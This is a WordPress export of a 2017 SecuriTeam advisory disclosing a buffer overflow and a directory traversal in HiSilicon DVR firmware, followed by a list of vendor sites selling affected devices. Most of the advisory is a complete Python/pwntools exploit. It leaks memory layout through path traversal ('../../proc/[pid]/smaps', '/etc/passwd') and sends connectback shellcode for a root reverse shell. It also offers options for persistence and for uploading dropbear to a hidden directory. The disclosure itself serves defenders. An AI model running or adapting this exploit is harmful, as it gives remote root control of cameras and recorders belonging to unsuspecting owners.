{"id":6709,"date":"2017-02-21T14:19:15","date_gmt":"2017-02-21T22:19:15","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/02\/21\/news-526\/"},"modified":"2017-02-21T15:03:18","modified_gmt":"2017-02-21T23:03:18","slug":"news-526","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/02\/21\/news-526\/","title":{"rendered":"SSD Advisory \u2013 HiSilicon multiple vulnerabilities"},"content":{"rendered":"<p><strong>Credit to Author: Maor Schwartz| Date: Tue, 21 Feb 2017 07:44:16 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Vulnerabilities Summary<\/strong><br \/> The following advisory describes 2 vulnerabilities found in HiSilicon application-specific integrated circuit (ASIC) chip set firmware.<\/p>\n<p>HiSilicon provides ASICs and solutions for communication network and digital media. These ASICs are widely used in over 100 countries and regions around the world. In the digital media field, HiSilicon has already released the SoC and solution for network surveillance, videophone, DVB and IPTV.<\/p>\n<p>The vulnerabilities found in HiSilicon ASIC firmware are:<\/p>\n<ol>\n<li>Buffer overflow in built-in webserver<\/li>\n<li>Directory path traversal built-in webserver<\/li>\n<\/ol>\n<p>The list of vendors working with HiSilicon is unknown. We manage to identify 55 different vendors, all of them are still vulnerable.<\/p>\n<p>Here is example of 10 vendors using the HiSilicon application-specific integrated circuit (ASIC) chip set in their products (the full list can be found in the end of this report): <\/p>\n<ol>\n<li>http:\/\/www.vacron.com\/products_CCTV_dvr.html<\/li>\n<li>http:\/\/www.gess-inc.com\/gess\/dvrs\/<\/li>\n<li>http:\/\/www.jufenginfo.com\/en\/product-list.php?cid=10&#038;pid=166&#038;parid=175<\/li>\n<li>http:\/\/egpis.co.kr\/egpis\/product.php?category=AHD&#038;category2=AHD_D<\/li>\n<li>http:\/\/optimus-cctv.ru\/catalog\/ahd-videoregistratory<\/li>\n<li>http:\/\/www.clearcftv.com.br\/linha.php?l=5&#038;ln=ahd<\/li>\n<li>http:\/\/click-cam.com\/html2\/products.php?t=2<\/li>\n<li>http:\/\/www.ccd.dn.ua\/ahd-videoregistratory.html<\/li>\n<li>http:\/\/www.dhssicurezza.com\/tvcc-ahd\/dvr-ahd-720p\/<\/li>\n<li>http:\/\/www.gigasecurity.com.br\/subcategoria-gravadores-de-video-dvr<\/li>\n<\/ol>\n<p><strong>Credit<\/strong><br \/> An independent security researcher Istvan Toth has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program<\/p>\n<p><strong>Vendor response<\/strong><br \/> We tried to communicate with the vendor through emails and twitter, over the course of several months, we were unable to get any response.<\/p>\n<p><span id=\"more-3025\"><\/span><\/p>\n<p><strong>Vulnerabilities Details<\/strong><\/p>\n<p><u>Buffer overflow in built-in web server<\/u><\/p>\n<p>The built-in web server is provided by the binary file <em>Sofia<\/em>, this binary is vulnerable to a buffer overflow and can be exploited to run shellcode (as root) on the device.<\/p>\n<p>The web server does check the <em>HTTP GET<\/em> request size. To exploit the vulnerability, all you need to do is craft an <em>HTTP GET<\/em> request with an URL that contains <em>&#8220;a&#8221;*299<\/em> + &#8220;<em>xxxx<\/em>&#8221; in it.<\/p>\n<p>Where &#8220;<em>xxxx<\/em>&#8221; controls PC register (program flow). The hardware does not enable the <em>NX bit<\/em>, which makes it possible to execute the shellcode found in the <em>&#8220;a&#8221;*299<\/em> section. However, a stack address leak is needed in order to defeat ASLR.<\/p>\n<p><u>Directory traversal built-in web server<\/u><br \/> The built-in web server suffers from a directory path traversal vulnerability which can be exploited to leak arbitrary files. <\/p>\n<p>The vulnerability is also found in the web server binary <code><em>Sofia<\/em><\/code> which is running with root privileges, therefore, exploiting this directory traversal can be used to read from device file system &#8211; which makes it easy to bypass the ASLR.<\/p>\n<p>The web server do not filter <em>HTTP GET<\/em> request. To exploit the vulnerability, all you need to do is to craft <em>HTTP GET<\/em> request with &#8220;<em>..\/..\/etc\/passwd HTTP<\/em>&#8221; to read file &#8220;<em>\/etc\/passwd<\/em>&#8220;. Furthermore, dir listing is enabled as well.<\/p>\n<p><u>Proof of Concept<\/u><br \/> By exploiting the directory traversal built-in web server we can bypass ASLR needed to exploit the buffer overflow. The file system located at <em>\/proc<\/em> contains a lot of information about running processes, e.g. contains memory mappings. Therefore requesting &#8220;GET ..\/..\/proc\/[pid]\/maps HTTP&#8221; will read the memory mapping of process whose pid is [pid]. By observing the memory mapping patterns it is enough to defeat ASLR (offset from <em>mem<\/em> map base is the same, even in different versions).<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58acbce19a368662274677\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> #!\/usr\/bin\/env python2    from pwn import *  from time import sleep  import re  import argparse  import os    parser = argparse.ArgumentParser(description=&#8217;exploit HiSilicon DVR devices&#8217;)  parser.add_argument(&#8216;&#8211;rhost&#8217;, help=&#8217;target host&#8217;, required=True)  parser.add_argument(&#8216;&#8211;rport&#8217;, help=&#8217;target port&#8217;, default=80)  parser.add_argument(&#8216;&#8211;lhost&#8217;, help=&#8217;connectback ip&#8217;, required=True)  parser.add_argument(&#8216;&#8211;lport&#8217;, help=&#8217;connectback port&#8217;, default=31337)  parser.add_argument(&#8216;&#8211;bhost&#8217;, help=&#8217;listen ip to bind (default: connectback)&#8217;)  parser.add_argument(&#8216;&#8211;bport&#8217;, help=&#8217;listen port to bind (default: connectback)&#8217;)  parser.add_argument(&#8216;-n&#8217;, &#8216;&#8211;nolisten&#8217;, help=&#8217;do not start listener (you should care about connectback listener on your own)&#8217;, action=&#8217;store_true&#8217;)  parser.add_argument(&#8216;-i&#8217;, &#8216;&#8211;interactive&#8217;, help=&#8217;select stack memory region interactievly (rather than using autodetection)&#8217;, action=&#8217;store_true&#8217;)  parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;persistent&#8217;, help=&#8217;make connectback shell persistent by restarting dvr app automatically (DANGEROUS!)&#8217;, action=&#8217;store_true&#8217;)  parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;upload&#8217;, help=&#8217;upload tools (now hardcoded &#8220;.\/tools\/dropbear&#8221; in script) after pwn&#8217;, action=&#8217;store_true&#8217;)  parser.add_argument(&#8216;&#8211;offset&#8217;, help=&#8217;exploit param stack offset to mem page base (default: 0x7fd3d8)&#8217;, default=0x7fd3d8)  parser.add_argument(&#8216;&#8211;cmdline&#8217;, help=&#8217;cmdline of Sofia binary on remote target (default &#8220;\/var\/Sofia&#8221;)&#8217;, default=&#8217;\/var\/Sofia&#8217;)    args = parser.parse_args()    target_host = args.rhost  target_port = int(args.rport)    sofia_cmdline = args.cmdline    if args.interactive:      getleak_interactive = True  else:      getleak_interactive = False    if args.persistent:      shell_persistent = True  else:      shell_persistent = False    if args.upload:      shell_upload = True  else:      shell_upload = False        connectback_host = args.lhost  connectback_port = int(args.lport)    if args.bhost:      listen_host = args.bhost  else:      listen_host = connectback_host  if args.bport:      listen_port = int(args.bport)  else:      listen_port = connectback_port    # get pid of running dvr binary &#8216;\/var\/Sofia&#8217;  def findpid():      with log.progress(&#8216;getting pidlist&#8217;) as logp:          c = context.log_level          context.log_level = &#8216;error&#8217;          r = remote(target_host, target_port)          r.sendline(&#8216;GET ..\/..\/proc HTTP&#8217;)          pids = []          for line in r.recvall().splitlines():              res = re.match(r&#8217;.*..\/..\/proc\/([0-9]+)&#8221;&#8216;, line)              if res:                  pids.append(int(res.group(1)))          r.close()          context.log_level = c          logp.success(&#8216;found %d processes&#8217; % len(pids))        with log.progress(&#8220;searching for PID of &#8216;%s'&#8221; % sofia_cmdline) as logp:          pid_sofia = None          pids.sort(reverse=True)          for pid in pids:              logp.status(str(pid))              c = context.log_level              context.log_level = &#8216;error&#8217;              r = remote(target_host, target_port)              r.sendline(&#8216;GET ..\/..\/proc\/%d\/cmdline HTTP&#8217; % pid)              resp = r.recvall().splitlines()              r.close()              context.log_level = c              if sofia_cmdline + &#8216;x00&#8217; == resp[-1]:                  pid_sofia = pid                  logp.success(str(pid_sofia))                  break          if not pid_sofia:              logp.failure(&#8216;did not found&#8217;)        return pid_sofia    def getmodelnumber():      c = context.log_level      context.log_level = &#8216;error&#8217;      r = remote(target_host, target_port)      r.sendline(&#8216;GET ..\/..\/mnt\/custom\/ProductDefinition HTTP&#8217;)      for l in r.recvall(timeout=5).decode(&#8216;ascii&#8217;).replace(&#8216;,&#8217;, &#8216;n&#8217;).splitlines():          if &#8220;Hardware&#8221; in l:              modelnumber = l.split(&#8220;:&#8221;)[1].split(&#8216;&#8221;&#8216;)[1]      r.close()      context.log_level = c      return modelnumber    def guessregion(smaps):      for t in range(len(smaps)-7, 1, -1):          if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] &gt;= 8 and smaps[t+4][1][1] &gt;= 4 and smaps[t+5][1][1] &gt;= 4 and smaps[t+6][1][1] &gt;= 8:              return (t+3)      return (-1)    # getting stack section base address  # &#8216;k&#8217; defines the section which contains the stack  def getleak(pid, interactive):      with log.progress(&#8220;getting stack section base&#8221;) as logp:          c = context.log_level          context.log_level = &#8216;error&#8217;          r = remote(target_host, target_port)          r.sendline(&#8216;GET ..\/..\/proc\/%d\/smaps HTTP&#8217; % pid)          smaps = []          memStart = False          for line in r.recvall().splitlines():              if memStart:                  t += (int(line.split()[1]),)                  i += 1                  #if i &gt;= 14:                  if i &gt;= 7:                      smaps.append((memStart, t))                      memStart = False              if &#8216;rwxp&#8217; in line:                  memStart = int(line.split(&#8216;-&#8216;)[0], 16)                  i = 0                  t = ()          guess = guessregion(smaps)          if guess &lt; 0 or interactive:              j = 0              for i in smaps:                  print (j, hex(i[0]), i[1:])                  j += 1              k = int(raw_input(&#8216;enter stack region id (guessed value = %d): &#8216; % guess))          else:              k = guess          leak = smaps[k][0]          r.close()          context.log_level = c          logp.success(hex(leak))      return leak    # connectback shellcode  # badchars: 0x00, 0x0d, 0x20, 0x3f, 0x26  def shellcode(lhost, lport):      badchars = [0x00, 0x0d, 0x20, 0x3f, 0x26]      badchars = map(chr, badchars)        xscode  = &#8220;01108fe211ff&#8221;      xscode += &#8220;2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba10223&#8221;      xscode += &#8220;0b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b4&#8221;      xscode += &#8220;69460b2701df0121081c01dfc046ffff7a69c0a858642f62696e2f736858&#8221;      xscode += &#8220;ffffc046efbeadde&#8221;            h = lambda x: hex(int(x))[2:]      h2 = lambda x: h(x).zfill(2)      xscode = xscode[:164] + h(lport+0x100).zfill(4) + &#8221;.join(map(h2, lhost.split(&#8216;.&#8217;))) + xscode[176:]      xscode = xscode.decode(&#8216;hex&#8217;)      for badchar in badchars:          if badchar in xscode:              raise NameError(&#8216;badchar %s in shellcode!&#8217; % hex(ord(badchar)))      return xscode    def restart_dvrapp(c):      with log.progress(&#8216;restarting dvr application&#8217;) as logp:          logp.status(&#8216;looking up dvrhelper process&#8217;)          c.sendline(&#8216;ps&#8217;)          cmdline = &#8221;          while not &#8216;dvrHelper&#8217; in cmdline:              cmdline = c.recvline()          cmdline = cmdline.split()          while not &#8216;ps&#8217; in c.recvline():              pass          sleep(1)          logp.status(&#8216;killing dvrhelper&#8217;)          c.sendline(&#8216;kill %s&#8217; % cmdline[0])          sleep(1)          cmdline_dvrhelper = &#8216; &#8216;.join(cmdline[4:])          logp.status(&#8216;starting dvrhelper: %s&#8217; % cmdline_dvrhelper)          c.sendline(cmdline_dvrhelper + &#8216; 2&gt;\/dev\/null &amp;&#8217;)          sleep(1)          c.recvuntil(sofia_cmdline)          c.recvline()    def upload_tools(c):      with log.progress(&#8216;uploading tools to \/var\/.tools&#8217;) as logp:          logp.status(&#8216;creating dir&#8217;)          c.sendline(&#8216;rm -fr \/var\/.tools&#8217;)          sleep(1)          c.sendline(&#8216;mkdir \/var\/.tools&#8217;)          sleep(1)          tools = [&#8216;dropbear&#8217;]          upload_blocksize = 1024          for tool in tools:              toolsize = os.path.getsize(&#8216;.\/tools\/%s&#8217; % tool)              b = 0              fp = open(&#8220;.\/tools\/%s&#8221; % tool, &#8220;rb&#8221;)              for chunk in iter(lambda: fp.read(upload_blocksize), &#8221;):                  chunkhex = &#8221;.join([&#8216;\\x&#8217;+chunk.encode(&#8216;hex&#8217;)[i:i+2].zfill(2) for i in range(0, len(chunk)*2, 2)])                  c.sendline(&#8220;echo -n -e &#8216;%s&#8217; &gt;&gt; \/var\/.tools\/%s&#8221; % (chunkhex, tool))                  b += len(chunk)                  logp.status(&#8216;%s: %d\/%d&#8217; % (tool, b, toolsize))                  sleep(0.1)              fp.close()              c.sendline(&#8216;chmod +x \/var\/.tools\/%s&#8217; % tool)              sleep(1)          logp.success(&#8216; &#8216;.join(tools))            log.info(&#8216;target is %s:%d&#8217; % (target_host, target_port))    if not args.nolisten:      log.info(&#8216;connectback on %s:%d&#8217; % (listen_host, listen_port))    with log.progress(&#8220;assembling shellcode&#8221;) as logp:      xscode = shellcode(connectback_host, connectback_port)      logp.success(&#8220;done. length is %d bytes&#8221; % len(xscode))    with log.progress(&#8220;identifying model number&#8221;) as logp:      modelnumber = getmodelnumber()      logp.success(modelnumber)        log.info(&#8216;exploiting dir path traversal of web service to get leak addresses&#8217;)  stack_section_base = getleak(findpid(), getleak_interactive)  stack_offset = args.offset  stack_20 = stack_section_base + stack_offset + 20    log.info(&#8216;shellcode address is &#8216; + hex(stack_20))    payload  = &#8220;GET &#8221;  payload += xscode  payload += &#8220;a&#8221; * (299 &#8211; len(xscode))  payload += p32(stack_20)  payload += &#8221; HTTP&#8221;    log.info(&#8216;exploiting buffer overflow in web service url path&#8217;)  log.info(&#8216;remote shell should gained by connectback shellcode!&#8217;)    if not args.nolisten:      l = listen(bindaddr=listen_host, port=listen_port, timeout=5)      c = l.wait_for_connection()    r = remote(target_host, target_port)  r.sendline(payload)  r.recvall(timeout=5)  r.close()    if not args.nolisten:      if shell_persistent:          restart_dvrapp(c)        if shell_upload:          upload_tools(c)            c.interactive()<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0388 seconds] -->  <\/p>\n<p><strong>List of vulnerable vendors and products:<\/strong><br \/> The following is a long list of vulnerable vendor\/devices, it is by no means exhaustive or complete.<\/p>\n<ol>\n<li>http:\/\/www.luxvision.com.br\/category\/dvr-ahd\/<\/li>\n<li>http:\/\/www.yesccd.com\/?products\/DigitalVideoRecorder.html<\/li>\n<li>http:\/\/www.tvzsecurity.com.br\/produtos\/31\/Stand-Alone<\/li>\n<li>http:\/\/showtec.com.br\/dv-stand-alone\/<\/li>\n<li>http:\/\/www.ecotroniccftv.com.br\/index.php<\/li>\n<li>http:\/\/starligh.com\/cctv\/grabadoras.html<\/li>\n<li>http:\/\/www.activepixel.us\/ap-0404-ahd.html<\/li>\n<li>http:\/\/j2000.ru\/cat\/DVR\/<\/li>\n<li>http:\/\/partizan.global\/product\/ahd-video-surveillance\/ahd-dvrs.html<\/li>\n<li>http:\/\/kenik.pl\/index.php\/tag\/rejestrator\/<\/li>\n<li>http:\/\/www.redebsd.com.br\/categoria-25-gravacao-digital<\/li>\n<li>http:\/\/www.idvr.com.br\/produtos-index\/categorias\/2374896\/dvr___ahd_lancamento.html<\/li>\n<li>http:\/\/www.visagems.com.br\/prd.asp?idP=1119575<\/li>\n<li>http:\/\/www.braskell.com.br\/dvr.html<\/li>\n<li>http:\/\/www.segvideo.com\/segvideo\/nvr-hvr.html<\/li>\n<li>http:\/\/www.neocam.com.br\/cameras-cftv\/stand-alone<\/li>\n<li>http:\/\/www.venetian.com.br\/categoria\/dvr-hvr-04-canais\/<\/li>\n<li>http:\/\/www.cctvkits.co.uk\/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html<\/li>\n<li>http:\/\/ecopower-brasil.com\/produto\/DVR-HSBS-HSBS%252d3604.html<\/li>\n<li>http:\/\/www.vixline.com.br\/vitrine-de-produtos\/dvrs\/<\/li>\n<li>http:\/\/aliveelectronics.com.br\/category\/gravadores-de-video\/<\/li>\n<li>http:\/\/www.issl.com.hk\/CCTV_DVRCYVIEW1.htm<\/li>\n<li>http:\/\/idview.com\/IDVIEW\/Products\/DVR\/dvr-Analog.html<\/li>\n<li>http:\/\/www.vonnic.ca\/products376e.html?cat=13<\/li>\n<li>http:\/\/polyvision.ru\/polyvision\/catalog_gibridnye.html<\/li>\n<li>http:\/\/altcam.ru\/video\/hd-videonabludenie\/<\/li>\n<li>http:\/\/cyfron.ru\/catalog\/dvr\/<\/li>\n<li>http:\/\/www.jassun.ru\/home\/products\/f_FormFactor[like]=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%D1%80%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%B0%D1%82%D0%BE%D1%80&#038;f_price[from]=2450&#038;f_price[to]=49000&#038;page=1&#038;limit=0<\/li>\n<li>http:\/\/www.t54.ru\/catalog\/videoregistratory\/ahd_analogovye_registratory\/<\/li>\n<li>http:\/\/www.hiview.co.th\/index.php?mo=3&#038;art=42195125<\/li>\n<li>http:\/\/www.kkmoon.com\/usb-fan-271\/p-s413-uk.html<\/li>\n<li>http:\/\/qvisglobal.com\/ahd-tvi-960h-hybrid<\/li>\n<li>https:\/\/www.beylerbeyiguvenlik.com.tr\/kayitcihazlari-beylerbeyi.html<\/li>\n<li>http:\/\/www.novicam.ru\/index.php?route=product\/product&#038;product_id=429<\/li>\n<li>http:\/\/www.espuk.com\/uploads\/catalogue\/HDview%20catalogue%202015.pdf<\/li>\n<li>http:\/\/www.ebay.com\/itm\/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-\/172250300884<\/li>\n<li>http:\/\/giraffe.by\/catalog\/tsifrovye-videoregistratory<\/li>\n<li>http:\/\/www.winpossee.com\/en\/list\/?17_1.html<\/li>\n<li>http:\/\/tesamed.com.pl\/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html<\/li>\n<li>http:\/\/hiq-electronics.ru\/videoregistratory<\/li>\n<li>http:\/\/www.eltrox.pl\/catalogsearch\/result\/?q=easycam+rejestrator&#038;order=v_117002&#038;dir=desc<\/li>\n<li>http:\/\/www.x5tech.com.tr\/?cmd=UrunListe&#038;GrupNo=265&#038;t=0<\/li>\n<li>http:\/\/bigit.ro\/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html<\/li>\n<li>http:\/\/secur.ua\/videonablyudenie\/ustroystva-zapisi\/dvr\/?brand_vreg=1557<\/li>\n<li>http:\/\/www.divitec.ru\/videoregistratoryi-divitec-idvr\/<\/li>\n<\/ol><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3025\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><strong>Credit to Author: Maor Schwartz| Date: Tue, 21 Feb 2017 07:44:16 +0000<\/strong><\/p>\n<p>Vulnerabilities Summary The following advisory describes 2 vulnerabilities found in HiSilicon application-specific integrated circuit (ASIC) chip set firmware. HiSilicon provides ASICs and solutions for communication network and digital media. These ASICs are widely used in over 100 countries and regions around the world. In the digital media field, HiSilicon has already released the SoC and &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3025\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 HiSilicon multiple vulnerabilities<\/span> <span class=\"meta-nav\">&#8594;<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[10757],"class_list":["post-6709","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/6709","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=6709"}],"version-history":[{"count":1,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/6709\/revisions"}],"predecessor-version":[{"id":6715,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/6709\/revisions\/6715"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=6709"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=6709"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=6709"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}